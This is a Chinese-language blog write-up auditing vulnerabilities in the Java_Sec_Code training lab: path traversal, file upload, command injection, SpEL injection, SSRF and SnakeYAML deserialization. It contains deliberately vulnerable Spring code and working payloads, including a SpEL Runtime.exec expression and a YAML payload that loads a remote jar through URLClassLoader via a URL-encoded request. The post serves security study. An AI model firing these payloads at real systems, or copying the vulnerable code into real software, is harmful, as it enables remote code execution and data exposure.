Java_Sec_Code---其他漏洞审计

前言

有些漏洞篇幅不是很大,就整合到一起来

路径穿越审计

直接看到代码,看到名字读取图片然后转base64输出,首先判断文件是否存在而且不是目录,就以文件流读出来

private String getImgBase64(String imgFile) throws IOException {

logger.info("Working directory: " + System.getProperty("user.dir"));
logger.info("File path: " + imgFile);

File f = new File(imgFile);
if (f.exists() && !f.isDirectory()) {
byte[] data = Files.readAllBytes(Paths.get(imgFile));
return new String(Base64.encodeBase64(data));
} else {
return "File doesn't exist or is not a file.";
}
}

定位到漏洞代码和修复代码

@GetMapping("/path_traversal/vul")
public String getImage(String filepath) throws IOException {
return getImgBase64(filepath);
}

@GetMapping("/path_traversal/sec")
public String getImageSec(String filepath) throws IOException {
if (SecurityUtil.pathFilter(filepath) == null) {
logger.info("Illegal file path: " + filepath);
return "Bad boy. Illegal file path.";
}
return getImgBase64(filepath);
}

可以看到漏洞代码没有任何过滤,修复代码多了个SecurityUtil.pathFilter(filepath),我们跟进去看看

public static String pathFilter(String filepath) {
String temp = filepath;

// use while to sovle multi urlencode
while (temp.indexOf('%') != -1) {
try {
temp = URLDecoder.decode(temp, "utf-8");
} catch (UnsupportedEncodingException e) {
logger.info("Unsupported encoding exception: " + filepath);
return null;
} catch (Exception e) {
logger.info(e.toString());
return null;
}
}

if (temp.contains("..") || temp.charAt(0) == '/') {
return null;
}

return filepath;
}

修复也很简单,首先判断%,有则进行url解码处理,然后判断有无..和/,常规的过滤

文件上传审计

文件上传在spring业务中会很少,一般会采用cdn还有得上传到特定的目录下才能解析执行

spring的jsp文件必须在web-inf目录下才能执行

上传war包到tomcat的webapps目录。

没有过滤的上传

@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,
RedirectAttributes redirectAttributes) {
if (file.isEmpty()) {
// 赋值给uploadStatus.html里的动态参数message
redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
return "redirect:/file/status";
}

try {
// Get the file and save it somewhere
byte[] bytes = file.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
Files.write(path, bytes);

redirectAttributes.addFlashAttribute("message",
"You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");

} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
logger.error(e.toString());
}

return "redirect:/file/status";
}

这里固定在tmp目录下,但是可以通过../文件名这样上传到任意有权限的目录

限制图片的上传

@PostMapping("/upload/picture")
@ResponseBody
public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
if (multifile.isEmpty()) {
return "Please select a file to upload";
}

String fileName = multifile.getOriginalFilename();
String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
String mimeType = multifile.getContentType(); // 获取MIME类型
String filePath = UPLOADED_FOLDER + fileName;
File excelFile = convert(multifile);


// 判断文件后缀名是否在白名单内 校验1
String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
if (Suffix.toLowerCase().equals(white_suffix)) {
suffixFlag = true;
break;
}
}
if (!suffixFlag) {
logger.error("[-] Suffix error: " + Suffix);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}


// 判断MIME类型是否在黑名单内 校验2
String[] mimeTypeBlackList = {
"text/html",
"text/javascript",
"application/javascript",
"application/ecmascript",
"text/xml",
"application/xml"
};
for (String blackMimeType : mimeTypeBlackList) {
// 用contains是为了防止text/html;charset=UTF-8绕过
if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
logger.error("[-] Mime type error: " + mimeType);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
}

// 判断文件内容是否是图片 校验3
boolean isImageFlag = isImage(excelFile);
deleteFile(randomFilePath);

if (!isImageFlag) {
logger.error("[-] File is not Image");
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}


try {
// Get the file and save it somewhere
byte[] bytes = multifile.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
Files.write(path, bytes);
} catch (IOException e) {
logger.error(e.toString());
deleteFile(filePath);
return "Upload failed";
}

logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
logger.info("[+] Successfully uploaded {}", filePath);
return String.format("You successfully uploaded '%s'", filePath);
}
private void deleteFile(String filePath) {
File delFile = new File(filePath);
if(delFile.isFile() && delFile.exists()) {
if (delFile.delete()) {
logger.info("[+] " + filePath + " delete successfully!");
return;
}
}
logger.info(filePath + " delete failed!");
}

/**
* 为了使用ImageIO.read()
*
* 不建议使用transferTo,因为原始的MultipartFile会被覆盖
* https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file
*/
private File convert(MultipartFile multiFile) throws Exception {
String fileName = multiFile.getOriginalFilename();
String suffix = fileName.substring(fileName.lastIndexOf("."));
UUID uuid = Generators.timeBasedGenerator().generate();
randomFilePath = UPLOADED_FOLDER + uuid + suffix;
// 随机生成一个同后缀名的文件
File convFile = new File(randomFilePath);
boolean ret = convFile.createNewFile();
if (!ret) {
return null;
}
FileOutputStream fos = new FileOutputStream(convFile);
fos.write(multiFile.getBytes());
fos.close();
return convFile;
}

/**
* Check if the file is a picture.
*/
private static boolean isImage(File file) throws IOException {
BufferedImage bi = ImageIO.read(file);
return bi != null;
}

利用uuid随机生成一个同后缀名文件,在/tmp/uuid+jpg

1.通过suffixFlag来判断文件的后缀名是否处于白名单中
2.判断MiME类型是否在黑名单
3.通过isImage判断是否为图片

无法通过判断则直接删除文件

命令注入审计

image-20230307113151280

利用一些&& ;的分隔符就能够执行命令

这里直接看修复代码

cmdFilter一直跟到

private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");

只能包含a-zA-Z0-9_.-这些字符

SpEL注入审计

SpEL有三种用法,一种是在注解@Value中;一种是XML配置;最后一种是在代码块中使用Expression。

这里的漏洞代码就是采用Expression,接收用户的输入,可以通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性

@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
return parser.parseExpression(expression).getValue().toString();
}

public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
String result = parser.parseExpression(expression).getValue().toString();
System.out.println(result);
}

于是我们构造payload

T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")

image-20230307140247636

SSRF审计

定位到URLConnection方法

public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
// BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));
String inputLine;
StringBuilder html = new StringBuilder();

while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (Exception e) {
logger.error(e.getMessage());
return e.getMessage();
}
}

这里直接调用URL的构造方法接收我们的传入的url

for (i = start ; !aRef && (i < limit) &&
((c = spec.charAt(i)) != '/') ; i++) {
if (c == ':') {
String s = toLowerCase(spec.substring(start, i));
if (isValidProtocol(s)) {
newProtocol = s;
start = i + 1;
}
break;
}

通过:对协议进行截断,然后扔进isValidProtocol

private boolean isValidProtocol(String protocol) {
int len = protocol.length();
if (len < 1)
return false;
char c = protocol.charAt(0);
if (!Character.isLetter(c))
return false;
for (int i = 1; i < len; i++) {
c = protocol.charAt(i);
if (!Character.isLetterOrDigit(c) && c != '.' && c != '+' &&
c != '-') {
return false;
}
}
return true;
}

简单的对字符进行了判断

而后通过getURLStreamHandler(protocol)获得一个handler

image-20230307145239207

然后前面URLConnection urlConnection = u.openConnection();

openConnection()方法就会根据前面获取的handler进行网络请求

image-20230307145413514

没有任何过滤就会导致ssrf

修复代码

限制前缀

public static boolean isHttp(String url) {
return url.startsWith("http://") || url.startsWith("https://");
}

开启对用户行为监听的hook

try {
SecurityUtil.startSSRFHook();
return HttpUtils.URLConnection(url);
} catch (SSRFException | IOException e) {
return e.getMessage();
} finally {
SecurityUtil.stopSSRFHook();
}

RCE审计

这里看一下那个Yaml反序列化RCE

漏洞原理

yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManagerpayload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。

利用payload

更改一下利用命令,编译好后在当前目录起一个http服务

image-20230307160100415

public class SnakeYaml_Demo {
public static void main(String[] args) {
// serialize();
String s = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:1234/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
deserialize(s);
}

public static void serialize() {
User user = new User();
user.setUsername("qqw");
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}

public static void deserialize(String s) {
// String s = "!!org.example.User {username: qqw}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
}
}

image-20230307160243301

靶场

http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[%20!!java.net.URLClassLoader%20[[%20!!java.net.URL%20[%22http://127.0.0.1:1234/yaml-payload.jar%22]%20]]%20]

Todo…

Java_Sec_Code---其他漏洞审计

https://lhxhl.github.io/2023/03/07/java_sec_other/

作者

秋秋晚

发布于

2023-03-07

更新于

2023-03-07

许可协议

评论

:D 一言句子获取中...